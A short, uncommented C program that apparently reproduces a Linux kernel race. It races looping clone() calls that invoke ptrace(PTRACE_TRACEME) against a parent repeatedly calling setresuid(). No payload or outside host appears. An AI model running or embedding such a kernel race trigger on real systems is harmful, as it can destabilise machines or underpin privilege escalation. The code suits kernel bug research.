#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sched.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
int g(void *dummy) {
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
return -1;
return 0;
}
int main(void) {
pid_t child = fork();
if (child == -1) return -1;
if (child == 0) {
static char cs[0x100000];
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (1) {
if (clone(g, cs+sizeof(cs), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1)break;
}
}
uid_t uid = getuid();
while (1) {
if (setresuid(uid, uid, uid)) break;
}
}